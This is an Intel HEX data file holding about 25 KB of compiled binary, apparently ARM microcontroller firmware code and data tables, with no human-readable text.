:10A3800009B0F0BD086802F039FA06A90290206809 :10A390006768FEF7E1FD0090A06802F013FB061E5F :10A3A000E8DB431C18000021039319F041FA2C4B01 :10A3B00005009F4202D12B48F7F756F907A938004C :10A3C000FFF7E4F9079B0490002B02D12648F6F72B :10A3D00059FF069A34009446009B63440193079FFB :10A3E000019BDE1B002C0BD0009BB34208D83A0027 :10A3F000049930001FF0C1F8002821D0013EF1E798 :10A40000EB68A6009F19009A019B00999A1A02987E :10A4100018F038FF3860002CB1D0039B1C1BEB6890 :10A42000A70099193A0018001FF0BEF86B680021C8 :10A430001A1BEB689200D8191FF0C9F8AC609EE7B0 :10A44000EA68A300D3180593019BF1199A1BD21B4C :10A45000029818F017FF059B013C18600196BEE7B3 :10A4600024DD020062190300CB18030070B50C0054 :10A470008AB0050004A920681600FEF76DFD0023D0 :10A480000593049B0100C218029605AB06A801942F :10A490000095FFF795F906A90248FEF7EDFC0AB012 :10A4A00070BDC04640BB020010B504000C2017F080 :10A4B0007AFD034B4460036001235B42836010BD5F :10A4C00004BB0200044B88600B60044B08004B6027 :10A4D0000023CB607047C04684DC02003F35020099 :10A4E00013B50400080001A9FEF736FD002C03D0C7 :10A4F000012C07D0002016BD019B0548002BFAD186 :10A500000448F8E701991CF00BFF40002043F2E7F4 :10A51000B4AD0200ACAD0200F0B585B00400080097 :10A5200003A91500FEF718FD0600002D07D1030052 :10A53000039A2F49200018F048FD05B0F0BD039B99 :10A540000200C318002101200193019B934206D809 :10A550002727002900D0053F3A0026491AE0137842 :10A56000272B08D0223B5D426B41DBB20132002B2E :10A57000EBD02727F0E700230100F7E730001CF0BD :10A580009CFE050030001CF0B3FE0600AF4205D172 :10A590003A001949200018F018FD14E017495C2D05 :10A5A0000ED02B00203B5E2B01D82A00D5E71449A2 :10A5B0000A2D05D013490D2D02D0092D0CD11249B9 :10A5C000200018F044FC019BB342D7D83A00094957 :10A5D000200018F0FAFCB0E7FF2D02D82A000B4942 :10A5E000D8E70B4B2A000B499D42D3D90A49D1E742 :10A5F0005D190300DC180300DB180300DF180300FB :10A60000E2180300E5180300E8180300EB18030044 :10A61000FFFF0000BA190300C1190300F7B51E00BF :10A6200008AB1D78294B0C001700984206D12B006F :10A630003200390002F0A0FA2018FEBDF30715D54C :10A6400076100196019BE219002B2ADA00213F26A1 :10A650000127501EA04219D2002900D001932000EA :10A66000002DEAD11A491B4817F0ECFB01A9300074 :10A6700002F0E6F90028E5D1300019F046FB164952 :10A6800002001648F7F7CCFFFCF70AFF0278B24346 :10A69000802A01D039000133421E002BCDD010009A :10A6A000D8E72000012600243F27904204D3002C45 :10A6B00000D001931000D3E7013BBED3340001303A :10A6C0000178B9438029F0D10130F9E720B90200BF :10A6D000A01903004CA302007819030058A6020039 :10A6E000F0B587B004000E00170002F087F802A949 :10A6F00005002000FEF730FC0400042F4ED1B30704 :10A7000034D1274B32689A4230D105AB04AA03A951 :10A71000300018F02EFF059B224FBB4204D0032BC4 :10A7200002D02148F6F7A0FF039B2600BB4207D0CA :10A730000122210000922800029AFFF76FFF060015 :10A74000029A049BA118BB4206D001212800009167 :10A750002100FFF763FF01000E208E4204D88A1B00 :10A760002800310018F08EFD07B0F0BD0023029ADA :10A770000093210033002800FFF750FF02780121E9 :10A7800053B2002B06DA4023012101E001315B08BE :10A790001342FBD10122FEF7A5FBE5E70020E3E72A :10A7A00044BC020024DD02004D0E0300F0B585B06C :10A7B0000C00FEF7B9FB03AA070002A9200002F073 :10A7C000A5F9029E039B35001035AD0028000193CA :10A7D00017F0E9FB04002C22103000211EF0F7FED8 :10A7E00067602700104BE6632360104B019EA36057 :10A7F0000F4B403DE3600F4B403763610E4B7519C3 :10A80000A3610E4BE3610E4B23620E4B63620E4B52 :10A810006363AE4202D1200005B0F0BD01CEFEF769 :10A8200083FB01C7F5E7C046B8B802004DA8000099 :10A83000B1A80000992A0100352B010071A8000081 :10A84000312C0100212A01006CD1020070B50C00EE :10A8500005000B6805495A6818F0B7FB2168280005 :10A8600040312200F7F71EFC70BDC046F905030019 :10A87000136870B5002B12D10468E56B4034AB420D :10A8800000D170BD9E00A659B14201D00133F6E758 :10A89000591CF6D002339B001B581360F1E70249A4 :10A8A000024817F0CFFAC046C8190300A8A1020059 :10A8B000F0B51700C26B85B0CE1905000191039366 :10A8C000964206D0330027492748F7F7A9FEFCF740 :10A8D000E7FD0021300008F00DF90400019B056040 :10A8E0009B001A000399083002931EF054FE029850 :10A8F000BA000830201800211EF069FE029A039B5E :10A9000094466344F7191E00019BBB4202D320000A :10A9100005B0F0BD3068FEF707FBEB6B0200029359 :10A9200040239C460021AC44029B994204D10F492C :10A930000D48F7F775FECAE760468B00C0588242A3 :10A9400001D00131F0E70131F1D0E3189968002915 :10A9500001D00749ECE7726808369A60019B023320 :10A960000193D1E72B08030058A60200DC1903006D :10A97000FD19030070B504000D00104918F067FAC6 :10A9800069680122200001F051FF0D4E20003100C6 :10A9900018F05DFAA9680122200001F047FF31009C :10A9A000200018F054FAE9680122200001F03EFF6F :10A9B0000449200018F04BFA70BDC0462C1A030061 :10A9C000C8070300BD42030070B5060010200D004B :10A9D000140017F0E8FA034B466085600360C4601A :10A9E00070BDC04644BC020070B506000D000028D2 :10A9F00014DD002907DD15480FF0D8FF0124B0420F :10AA000009DB002407E00100C02000060FF0CEFFA4 :10AA10000124A842F5DDE4B2200070BD002907DD65 :10AA2000C02000060FF0C2FF0124B042F3DCE8E7CB :10AA30000024A042F0D0010004480FF0B7FF01232A :10AA4000A84200DC231CDCB2E6E7C046FFFFFF3F64 :10AA5000044B054A98331B6804481A60044A9A80DC :10AA60007047C046842E00207800040024DD0200D8 :10AA700004040000084A10B5130098331B68997944 :10AA8000002908D0916C0029F9D0002199711B6927 :10AA90005879F6F7E1FE10BD842E002013B5084C5E :10AAA00098342368188817F0E9FF236800905888C5 :10AAB00017F0E4FF69460190022008F01BF816BD6C :10AAC000842E002010B50D4C002803D0086805F036 :10AAD0004FFF04000A49200008F052FA6079002173 :10AAE000F6F7BAFE200008F035FA0022054B0648BA :10AAF00098331B681A619A7110BDC04600CF0200DE :10AB0000DCD20200842E002024DD02001FB50C4B95 :10AB100002AC009301940223F7F740FC029A002A4A :10AB200003D0084B98331B685A806268002A03D010 :10AB3000044B98331B681A80034804B010BDC0460C :10AB4000C0BD0200842E002024DD0200F0B5254B9C :10AB500089B004AC009301940423F7F71FFC224F43 :10AB6000224A3B0098331B6804989A80204B03408C :10AB7000062B06D0830730D102681E4B92699A4299 :10AB80002BD1012303940293002698373B68186960 :10AB900008F0E0F93B6860681E6105F0E9FE1649BF :10ABA000050008F0EDF93B68144A9E71126802999D :10ABB0009A60227B9981DA71DE81039A012900D1A2 :10ABC00012685A6101221D619A71237A002B01D00B :10ABD000FFF750FF0A4809B0F0BD03AA02A901F02F :10ABE00095FFD1E780BD0200842E00200404000000 :10ABF000070080FF199D0000DCD20200D82F002042 :10AC000024DD0200F0B5274B89B004AD0195009317 :10AC10000423F7F7C3FB6B68A868049E039305F051 :10AC2000A7FE214F040098373B68186908F092F995 :10AC300000223B681D491A61200008F0A1F96079E3 :10AC400080212D7BF6F708FE002E1CD16079F6F7E7 :10AC500083FE039B002B13DB0022134B1449983314 :10AC60001B6803989A710968DA714118DA605A61B1 :10AC7000023299601C619A71002D01D0FFF7FAFE33 :10AC80000C4809B0F0BD31000B480FF005FEF6F797 :10AC9000BFFD0028DDD06079F6F75EFE0748F6F7C5 :10ACA000F1FAC046A0BD0200842E0020DCD20200D2 :10ACB000D82F002024DD020040420F00331A030089 :10ACC00010B5182017F06FF9064B98331860064B33 :10ACD0000360064B83800023837103614361044852 :10ACE00010BDC046842E002078000400040400003B :10ACF00024DD0200F0B56D4C87B02600983633682D :10AD0000002B40D09A79002A3DD0694D99682A6875 :10AD1000914238D89A79022A0BD11B6900215879BF :10AD2000F6F79AFD2B6832680A339360012393711A :10AD300029E09A79012A26D19A89D989914204D3A6 :10AD4000DD79002D19D00021D9815869012A02D05E :10AD5000DA8992001058574A904216D11B69002197 :10AD600058799834F6F778FD2468534821880FF015 :10AD70001DFE0123A060A37105E09D71186908F014 :10AD8000E9F833681D6107B0F0BD05A9FEF7FEFCC8 :10AD90009834236801901B69802158790293059E9D :10ADA000F6F75AFD019B24681F781F23218842482B :10ADB0001F400FF0FBFD61880FF0F8FD7D1EEDB226 :10ADC0000390012E5AD9019B5B78232B4DD0622B27 :10ADD00050D1002D4BD0023FFDB26A1E53425A4162 :10ADE0005242022E4ED0012102230198C05C3A2823 :10ADF00003D00F27384020710133207984469E42CA :10AE00000ED90198C05C3A280AD1581C864207D94D :10AE1000019F0233385C0F2738409E4235D860715D :10AE2000092D3DD86346043B9A1852B26F00234B5C :10AE3000002900D1224BD85B002A2EDB1041F6F707 :10AE4000E7FC1A4B039998331A68537959430B005E :10AE500017490A3B09680A2B00DA0A235B1893603A :10AE6000D3890133D381022361E70022B9E72A00A5 :10AE70000625B6E7002101230A00B6E700210123D9 :10AE80000A00BAE733000121B7E70A267043019EA2 :10AE90006071F65C3E408019C1E752429040CEE7B7 :10AEA000029B00215879F6F7D7FCCAE7842E0020D0 :10AEB000D82F002024DD020060EA00000A0403000D :10AEC000FC03030070B5040001F098FC00230C495A :10AED000DA0052181568A54205D15168094817F0E3 :10AEE000B6FF012070BD0133612BF1D1064B9C42AE :10AEF00003D0984201D00020F4E70449EEE7C046B1 :10AF000018BE020034B7020034DE0200411A03000A :10AF100010B53E2803D040282ED03C2816D1532906 :10AF200027D016D84C2924D008D8482955D04929EB :10AF30001FD042290AD10123180043E04F2905D32D :10AF40000123502916D9082051293BD02748F6F76C :10AF500099F9682941D006D8642941D0662908D0DA :10AF60006229F3D1E7E76C2903D0712938D0692928 :10AF7000ECD10123042025E0512934D011D84929EE :10AF80000DD007D84229D6D002234829D4D0012990 :10AF9000DCD1D0E74C2902D0D8D34F29D6D3042313 :10AFA000CAE76629FBD006D86229C4D064291AD022 :10AFB0005329F4D0CAE76929F1D007D80223180031 :10AFC0006829C3D1002A00D0136010BD6C29E6D0D7 :10AFD000082318007129F5D0B8E701230220F1E712 :10AFE00001230820EEE70823A6E7C04648400300F7 :10AFF00010B551283DD017D8492810D00AD842287A :10B0000028D048282BD0012824D0002301205B0021 :10B01000184308E04F2848D017D84C28F5D19200A3 :10B02000505817F046FD10BD682815D007D8642881 :10B0300030D0662824D06228E7D18B56E6E76C280A :10B0400003D071280ED06928DFD19200505817F034 :10B0500015FDE8E78B5CD9E75200535ED6E7520056 :10B06000535AD3E7D2008A181068516817F0F7FCDA :10B07000D9E7D2008A181068516817F00BFDD2E7A3 :10B080000323920050589843030002201843084BB2 :10B09000C018C8E7D2008A181068516812F0FEFB89 :10B0A000032302009A431300EFE792005058BAE7D7 :10B0B00000008080F7B51700156801AA04000E0093 :10B0C000FFF726FF402C05D1019B043C5A1EAA180D :10B0D0005D4215405A213E3C62426241B142894183 :10B0E0002B183B60D2B22B00494218F069FA0400D9 :10B0F0000D004F2E08D0532E07D11EF0BCFA0022AF :10B1000001002000FDF7EEFEFEBD662E06D10323F2 :10B1100002249843154B2043C018F5E7642E06D14E :10B1200012F0BCFB0323040002209C43F2E75A2EDA :10B130000FD980220023D20512196B41002B04D1B4 :10B14000002A02DB17F09AFCDEE7290017F087FCE3 :10B15000DAE7002905D1064B984202D817F0A9FC7E :10B16000D2E7290017F096FCCEE7C04600008080A9 :10B17000FFFFFF3FF0B589B0160005AA02931C68D7 :10B1800001900F00FFF7C4FE019B0500402B06D184 :10B19000059B5A1EA2185C423C2314400193029A5C :10B1A00063191360019B3E3B03935A425341DBB248 :10B1B0000293642F12D0662F0BD04F2F2AD1280074 :10B1C000042D00D9042033002200029918F021FA3E :10B1D0002CE0300001F05CFC0600F0E7300001F0EC :10B1E00057FC12F009FB029B0690079108AA9B00EE :10B1F000D318083B22001B680299042018F009FAB2 :10B20000039B04345A1E934108AA9B00D318083BA1 :10B210001E68D4E7B3070BD1104B32689A4207D1AE :10B2200023002A000299300017F0F5FB09B0F0BDA9 :10B23000300001F0C7FB0600042DC0D900215A2FB1 :10B2400002D9884200DAFF312A0020001EF0BFF93F :10B25000019B3E2BB3D12B1FE418B0E704C60200BC :10B26000F7B506000F0014001D0064280DD06628F5 :10B2700004D04F2813D19400E35105E09400180046 :10B280000F1901F005FC3860F7BD180001F000FC53 :10B2900012F0B2FAE4003F1938607960F4E7032352 :10B2A0002B40019311D10E4B2A689A420DD1019A7D :10B2B00001004020FFF72CFE230043430200FB184F :10B2C0000199280017F0A7FBDEE7280001F07AFBC0 :10B2D000220003003900300018F0B0F9D4E7C0466E :10B2E00004C6020010B50400002906D0044B8A6B86 :10B2F000036009680023F7F7FFF92000FCF7D0F896 :10B30000E0A50200F0B5040087B00392029366182E :10B31000002A06D0023A222A03D93548F5F7B2FFAF :10B320000134B44229D2207809F0F2FE071EF7D189 :10B3300023782B2B1CD10134311B200003AA17F0DA :10B3400087FC23181C0000250193B44217D3002F5B :10B3500000D06D4201236D001D43019B9C422FD103 :10B360002449039A2448F7F75BF90299FFF7BAFFDB :10B370002D2BE1D101340127DEE70027DCE723781C :10B380001A00303A0092092A07D9202213431A00E2 :10B39000613A192ADBD8573B00930399009B9942E5 :10B3A000D5D92800FFF720FB002816D1039B5D4369 :10B3B000009BED186B006B400FD40134C5E70134DE :10B3C000B44205D2207809F0A3FE0028F7D1C7E7E0 :10B3D000B442C5D1280007B0F0BD019B3A000593E7 :10B3E000F11A05A8039B17F06FFB059C0500B4E755 :10B3F0008C400300AF400300D0A60200F0B504006B :10B400008BB00893431804920193019B9C4200D394 :10B41000FCE0207809F07CFE071E38D123782B2B26 :10B4200037D101340590019B9C4200D3F0E02023EA :10B4300022781A43692A33D10199A21C914200D87B :10B44000DDE062781A436E2A00D0D8E0A2781A4371 :10B45000662A00D0D3E0E21DE51C914214D9E278BF :10B460001A43692A10D122791A436E2A0CD16279C3 :10B470001A43692A08D1A2791A43742A04D1E279BD :10B480001343792B00D10535FF26F6051BE0013467 :10B49000BBE705902D2BCAD12C3B01340593C2E7A5 :10B4A0006E2A1AD10199A21C914200D8A7E06278B5 :10B4B0001A43612A00D0A2E0A27813436E2B00D079 :10B4C0009DE05E4EE51C059B002B02D080231B06F1 :10B4D000F618AC427AD15A498BE0002207920292C8 :10B4E000584A2500069200220026039209932B78E1 :10B4F0006F1C1800303809282AD8022E0AD10A23D6 :10B50000029A53431B180293019BBB4200D889E067 :10B510003D00ECE710F040FB051C012E0ED1011C94 :10B5200006980FF0FFFF011C03980FF0ADFC454992 :10B53000039006980FF0F6FF0690E5E7424903985E :10B540000FF0F0FF291C0FF09FFC00260390DBE7B3 :10B55000002E03D12E2B03D10126D5E7022E16D0C3 :10B56000099A1A43652A12D1019BBB4256D96B78BE :10B570002B2B05D1AF1C019B9F42ACD00226C3E709 :10B5800002262D2BC4D12C3BAF190793F3E7049A65 :10B59000002A04D0202213436A2B13D13D00079BBD :10B5A000002B02D0029B5B420293029810F0AAFA91 :10B5B000011C254812F0A8FE03990FF0B3FF049F69 :10B5C000061C80E700230493E9E70135019B9D42B7 :10B5D00005D2287809F09CFD0028F6D17BE7019B75 :10B5E0009D4200D077E7089B002B01D1002F1CD093 :10B5F0001649174816F01DFD1099FFF773FE059BBD :10B60000002B00D167E7250000265FE700230593A4 :10B6100000230393002325000493C5E7019BBB424D :10B6200000D158E700230493B8E7032302209E4388 :10B63000084B3043C0180BB0F0BDC0460000C07FBF :10B6400072400300CDCCCC3D0000204155400300AA :10B65000D0A6020000008080002803D0012807D077 :10B66000002070478B680448002BFAD10348F8E7A4 :10B670008B685B001843F4E7B4AD0200ACAD020088 :10B68000044B88600B60044B08004B600023CB60C8 :10B690007047C04684DC0200BB360200002183688C :10B6A00070B5DA0FD21852109B00043B8A4201DCBD :10B6B000054870BDC5688C002C19ED5826682560BA :10B6C000C4680131E650F0E724DD020070B58368FC :10B6D0000D00416804008B4212D3C900C06816F007 :10B6E00080FC63680A495A00A3686260D21A013379 :10B6F00052189B00E0609200C01800211DF067FF07 :10B70000A368E268591C9B00A16002489D5070BD6F :10B71000FFFFFF3F24DD0200F8B5070016004C10C4 :10B72000836810D5E4180ED500240C4D380029008C :10B73000FFF7CCFFBB68013BFA689C4207DBA40023 :10B740002800A650F8BD9C42EFD91C00EDE79800F8 :10B750001118043909681150EDE7C04624DD0200D4 :10B7600070B50025040085601021C06816F039FC12 :10B7700004232900E060636010221DF028FF0148C7 :10B7800070BDC04624DD020030B50C0085B0104B02 :10B7900002AD04310093013802230195F6F7FEFD56 :10B7A00023680C4C996801290FD9D8680A4B029A72 :10B7B000C91889004118A24200D100222D79074BF7 :10B7C000002D00D1064B17F086FF200005B030BDDC :10B7D00020C1020024DD0200FFFFFF3FACAD0200EC :10B7E000B4AD020070B50C680B00A168020000291E :10B7F00003D11949194816F025FB2068012A27D0E2 :10B800005A68002301F0B8F9E168A26886008B1934 :10B81000013A1D680436A260121A920089191800B4 :10B820001DF0C2FE0021A368E0689A001150616813 :10B8300004290BD95B00994208D949088900E068BE :10B8400016F0CFFB6368E0605B086360280070BDA2 :10B8500001225242D5E7C046D74003004CA3020064 :10B8600007B5009001910220694617F09CFF6946D8 :10B8700001900220FFF7B6FF00480EBD24DD020054 :10B8800070B50E000D490500002417F0E0FAB3680A :10B89000A34204D828000A4917F0D9FA70BD002C39 :10B8A00003D00849280017F0D2FAF168A30001225A :10B8B0005958280000F0BAFF0134E8E74B0E0300A6 :10B8C000BA570300C807030070B5032604000D0033 :10B8D0000E4029D1174B0A689A4225D183688A689D :10B8E00099184368994210D904318900C06816F04C :10B8F00078FBAA68A368E0609B181A1D9B00626031 :10B90000C018102231001DF062FEA368E96898009B :10B91000E3681818AB689A001DF03DFEAB68A2689A :10B92000D318A360044870BD2900200017F044FF1D :10B93000F8E7C046FCC1020024DD02000B4B70B5E5 :10B94000050003600C000800042900D20420686090 :10B95000AC60800016F027FB6A68E860121BA40048 :10B960009200001900211DF032FE70BDFCC10200E2 :10B970007FB50D001600122847D01ED8052824D008 :10B98000002407281ED103A9100001F059F8041E55 :10B9900018D0039B002B01DA00230393AB680398B4 :10B9A000584317F022FFC36804000093AA68039B62 :10B9B0000421E86819F0B5FB04E00300193B0024FA :10B9C000042B28D9200004B070BD032300241340A9 :10B9D000A342F7D11C00194A33689342F2D18B6815 :10B9E000B268981817F001FF0400AB68E9689A0084 :10B9F000C0681DF0D0FDA868E36880001818B3681F :10BA0000F1689A001DF0C7FDDCE711002800FFF780 :10BA10005BFF2C00D6E793070DD1084B12689A42C2 :10BA200009D1B36800938A68F368C96805F02AF8F9 :10BA3000034C0028C6D1034CC4E7C046FCC1020039 :10BA4000B4AD0200ACAD0200F0B5032704008BB02A :10BA50000E0010000F40002A33D1002F2AD1654B71 :10BA60000A689A4226D104AAA06804F09BFF002825 :10BA700002D16148F5F7F8FD0599049BA268E068DA :10BA80005D1A521A9B00890041189200C0181DF0DF :10BA90008BFDA368AA00E818E368800018185242DA :10BAA00039001DF094FDA3685D19A560534D280071 :10BAB0000BB0F0BD07A9022007940896FFF792FE8D :10BAC000F4E7042A2CD1A068002F1FD1494B0A6843 :10BAD0009A421BD107AA04F065FF002806D107AAE5 :10BAE000E168A06819F030FB0500E0E7079B0898C3 :10BAF000C01A17F07AFE8368E1689A00079B050078 :10BB00009B00C918C0681DF046FDD0E70023010066 :10BB10003200206801F030F8E3688000C558C6E7BD :10BB2000364D002F60D1334B0A689A425CD103AA8C :10BB300002A900F0EBFF07AA3100A06804F032FF71 :10BB4000002896D0079B029A08999E180191761AB0 :10BB5000E068002E27DDA368F1186368994206D9D2 :10BB6000890016F03EFAA368E0609B196360029AB0 :10BB7000079BA1689B18F21A52180899E0689B006D :10BB8000890041189200C0181DF00EFD029B039918 :10BB90009A00079B9800E36818181DF005FDA3683C :10BBA0009E19A66083E79B000399C01892001DF0C0 :10BBB000F2FC0899A268E368521A890001935918A7 :10BBC0000798029B9200C018019B800018181DF076 :10BBD000EBFCA368B200F018E3688000524218182A :10BBE00039001DF0F4FCDAE702003100200017F004 :10BBF0003DFE5CE744BC0200C312030024DD0200EA :10BC0000054B10B59A6C002A04D00022986C9A64F7 :10BC1000FBF746FC10BDC046842E00200122002008 :10BC2000074B08495A600860A821DA60064AC90033 :10BC30005A5006495A5004315A5005495A507047D3 :10BC400000A000400CAC0040FCFF000044050000D8 :10BC50004C050000034B04481B78002B00D103481F :10BC60007047C046D92D0020B4AD0200ACAD020033 :10BC7000F7B5A827A925314BFF0019689C46304B22 :10BC800004201A68ED008A18891819602D4B00915C :10BC90001B7812110193019C09112B4B2B4E002C88 :10BCA00045D0002A38DA821AD8515A51812292009E :10BCB000002935DA2648511A1A5099510122254C8B :10BCC000DA602378002B21D02348244B01688C3381 :10BCD00089181B683E320A409D5C019B002B01D0F5 :10BCE000803D6D001C236B430260009A08339B1A51 :10BCF00062469B1013601F23194007D1184B1A7816 :10BD0000002A03D01748197008F074FD0123227827 :10BD1000042053402370FEBD04325851DA51C5E768 :10BD20009A51812292008918094A9950C6E7043233 :10BD3000D8519A51812292005A51F4E714020020FE :10BD400004020020EA00002000A00040440500009A :10BD50004C050000D82D002008020020842E002071 :10BD6000EB000020E33802001FB5012204000800A8 :10BD700001A900F0E1FF029A202A00D92022002325 :10BD800001980434934203D0C15CE1540133F9E7D4 :10BD9000014804B010BDC04624DD020070B50400A7 :10BDA0000800150000F00EFE1F2802D90C48F5F718 :10BDB00069FA002D02D10B48F5F728FC2418042D50 :10BDC00004D1012023795B00184370BD280000F0E6 :10BDD000F9FDFF2801D90448E9E720710348F4E799 :10BDE0001D410300314103000415030024DD02005E :10BDF0000123A022834010B5134CD2051351030038 :10BE0000C133124CFF339B009C50114B8900C91861 :10BE1000A223DB00CA580F4C00022240F824CA506B :10BE2000CA58640120401043C022920210430322EA :10BE3000C850CC58084822432043C850C046C0468A :10BE4000C046CA5010BDC0460C05000003030000E8 :10BE500000600040FFE0ECFF031F0000A0221E2155 :10BE6000114BD20070B59C58104D8C439C50A324AC :10BE7000E4001D510E4C0F4D0F4E5C5104355E51C8 :10BE80000E4D80005C51A5240D4DE4001D51084C61 :10BE90000C4D00190C4C185104341D510B4C185109 :10BEA00098580143995070BD00F0014040A10040F6 :10BEB000006000401C05000044A100402405000073 :10BEC00048A100404CA100402C05000034050000B2 :10BED00010B504000A4907F053F80A4BA0211C6072 :10BEE00001236079084A8340C9058B500021FFF780 :10BEF0007FFF0020FFF7B2FF0022044B1A7010BD35 :10BF0000E4D202000C0200200C050000EA00002030 :10BF100070B50D000400134E2800310007F030F812 :10BF20003100200007F02CF80F4BA0221C600F4BB3 :10BF3000D2051D60607901242100814026000C4B50 :10BF4000D15069798E400021D650FFF751FF6879B2 :10BF50002100FFF74DFF2000FFF780FF054B1C700D :10BF600070BDC046E4D202000C0200201002002086 :10BF70000C050000EA000020F8B50025FFF74EFE92 :10BF8000214B280090331D6008F002FCA0221E20E7 :10BF90001E4B1F491D701F4BD2001D601E4B1F4CB6 :10BFA0001D608B581E4F83438B50A223DB00E25849 :10BFB0001C4E3A40E250E2581B493243E250012203 :10BFC000E5501A4B186843799A401300A022D20515 :10BFD000535006F0BFFF164B1B78AB4213D0154BE6 :10BFE0001149E2581740E750E25816430122E65043 :10BFF000E550114B186843799A401300A022D205EE :10C00000535006F0A7FFF8BD842E0020D92D002044 :10C0100000F00140040200201402002000600040F3 :10C02000FFE0ECFF001F03000C0500000C020020E5 :10C03000EA0000201405000010020020F0B53E4E7A :10C040008DB0330090331B680500002B03D1FFF740 :10C0500093FF0DB0F0BD002801D007F027FB684624 :10C06000FBF7F8F9002822D1330090331868F4F771 :10C0700021FD0400FBF70CFA002D01D007F020FB96 :10C080002E4B20221D6833006D118C3301356D015C :10C090001B6815405D19002C2DD190362100280019 :10C0A00034601DF094FA0122254B1A70D1E7002D5F :10C0B00001D007F005FB019B22491868FCF7A0FDA1 :10C0C00000240500A042DBD1019F380000F096FB60 :10C0D0001D4B98420BD12900012006F00BFD2A00D0 :10C0E0000400F8601F211948FCF7FCFEA060019BCA :10C0F0000024B364C4E7200000F080FB144B984296 :10C1000009D0330000229033124913481A6015F009 :10C1100090FFB0649DE763682B60A3686B60E36881 :10C12000AB602369EB6063692B61A3696B61E369B1 :10C13000AB61236AEB61B6E7842E00200802002081 :10C14000EB000020A4A502003CA40200EB40030089 :10C15000E0C202000B41030058A6020010B5FFF731 :10C160000BFF014810BDC04624DD0200F0B589B0C8 :10C170000493744B03901B780E001500002B01D024 :10C18000FFF7FAFE704C8C342368002B06D16E4A00 :10C1900040209032136015F006FF206080226B4B28 :10C1A000D200DA6701226A4C6A4BE250FFF736FD93 :10C1B0000023694AF021A3500432A3500832A3504F :10C1C000C22209039200A150644F093AFF3AA350DA :10C1D0000594BE4200D0A4E0B54200D09EE0604D80 :10C1E00007AC280006F0C0FE002805D001235D49F9 :10C1F0002800237006F0C4FE5B4D280006F0B4FE54 :10C20000002805D0012357492800637006F0B8FEC6 :10C21000564D280006F0A8FE002805D001235149FC :10C220002800A37006F0ACFE0023514F5A1C029266 :10C2300007AA9B5C002B3AD1029A04370123022AF9 :10C24000F4D1474804F094FBFFF742FE0021039825 :10C25000F4F7F6FB002501243F223B4B802190336D :10C260001860444B1D70444B1C70444B1A60364B95 :10C2700012198C3318681DF0AAF92800FFF7DEFEAA :10C280003F4B304E1C60059B50221C603D492800EE :10C29000347008F049FA049BAB4250D02A4B3278F4 :10C2A000002A4CD09A6C002A49D120BFF7E7A0227F :10C2B00003213C68D2056379029DC133FF339B00A3 :10C2C000995007ABEB5C002B24D00426284BAA0026 :10C2D000D358009301226379A0219A40A123C90574 :10C2E000DB00CA50009B05331800019317F0D9FA00 :10C2F00001280FD16379A0219840234BC905C8506C :10C30000019817F0CEFA002804D1013E002EE1D1A9 :10C31000009910E0022D8FD00225D2E71B48F5F7D7 :10C3200075F9300004F024FB0400BD428CD02800D5 :10C3300004F01EFB01002000FFF7EAFD86E709B0CC :10C34000F0BDC046D92D0020842E002004E100E07D :10C3500000A00040FC0F00000405000024DD0200E6 :10C3600000CF0200B4D2020048CF020058CF020032 :10C37000ACC20200D82D0020EB00002008020020F3 :10C380000CAC004071BC00000C05000056410300DD :10C3900010B5084B86B002AC009301940423F5F766 :10C3A000FDFF02982379E268A168FFF7DFFE0248EB :10C3B00006B010BDB8C2020024DD0200014B18789F :10C3C000C0B27047D92D002010B5242015F0EBFD28 :10C3D0000400044B202208C080211DF0F8F8200042 :10C3E00010BDC046E0C20200F8B5070008000D000D :10C3F000160000F003FA304B98425BD1781F0F28EB :10C4000058D80EF035FA080832575757575757572C :10C41000575757303055FFF7D7FF04230400EA5C25 :10C42000E2540133242BFAD1300000F0E7F9224B1B :10C4300098423FD10121052F02D0122F00D002399E :10C440000422FF20B35CA55C803B4B435B19FF2BB0 :10C4500003D90500DB179D432B00A3540132242A86 :10C46000F0D12000F8BD2C00DEE7FFF7ADFF04237C :10C470000400EA5CE2540133242BFAD1300000F0CE :10C4800007FB0F2117F032FA2100FF25221D24316E :10C490001378803B4343DB138033FF2B03D92E00FB :10C4A000DB179E433300137001329142F0D1D8E77D :10C4B0002C00E3E70024D4E7E0C2020070B50500D9 :10C4C00000291ADB032912DC00240D4B5E5CB52128 :10C4D00009023143280017F031FA002C04D0094931 :10C4E0002800214317F02AFAAE61EC6170BD0123E8 :10C4F000023999430C00FE26E9E70024F226E6E71C :10C500007841030080B0000070B50D0000F0C0FA63 :10C51000041C280000F0BCFA211C0FF019F9051CBE :10C5200017F0CDFA011C281C0EF0FCFF211C0EF0A8 :10C53000ABFC0323020002209A43024B1043C018B5 :10C5400070BDC0460000808010B517F0B8FA032314 :10C55000020002209A43024B1043C01810BDC0468F :10C560000000808010B5074C002802D00868A04267 :10C5700003D10AF069FB200010BD00F04FFA0AF069 :10C5800083FBF8E724DD020010B5040000F08CFB0B :10C5900000F018FA002803DC0021064815F052FCD0 :10C5A0000AF02CFB16F06AFA04220100200000F0C9 :10C5B00091FB10BD4CA30200F8B5070008680C0001 :10C5C00018F0AAFD0500606800F03AFB0600022F93 :10C5D0000AD9A06800F0F6F902003100280017F02F :10C5E000DFFA16F04BFAF8BD004AF6E740420F00BA :10C5F000F0B587B0002807D1604B6148196816F084 :10C6000026FC604807B0F0BD0D685F4B9D4251D1DC :10C610000021080017F00CF90024050003905B4B83 :10C620005A680192944215D30026594A03A9012061 :10C63000FFF7AAF805AA04A9039817F010F9049BBC :10C6400003339B080193019B4D4DB34210D15149D7 :10C650002800D4E79B680193019AE30099580029C8 :10C6600004D0042902D02800FFF730F80134D6E7BF :10C670003700059ABB009858FDF772F801002800B2 :10C6800016F0E5FB019BFF18049B9F420CD212237E :10C690001C1A002C06DD013CEBD33F49280016F0A4 :10C6A000D6FBF8E71234F4E73C49280016F0CFFB3C :10C6B0000136C8E7280000F0A1F8394B42689A42D9 :10C6C00000D16D682800FEF7FDFB061E99D12C4CA9 :10C6D0003449200016F0BBFB3100280000F0C0F800 :10C6E000280017F012FB30490200200016F06DFC04 :10C6F000AB0732D12B682D4A93422BD1280016F07C :10C700004FF918F0F9FC00250600A84200D178E79F :10C7100073689D4200D374E7B268EB00D3181F68BA :10C72000002F15D05B6822492000019316F08FFB83 :10C730000021380000F094F81E49200016F087FB15 :10C740000021019800F08CF81449200016F07FFBBE :10C750000135DDE7184A934203D0280000F04EF877 :10C760000500A86B002800D14BE7830700D048E7FD :10C77000124B02689A4200D043E7C2E71C00002037 :10C7800034B7020024DD02004614000098B1020014 :10C7900014F402007C410300E15A03008E6F030091 :10C7A0000D020000A0410300A84103006CB202008A :10C7B000E05A0300B8410300B8B8020098CC020068 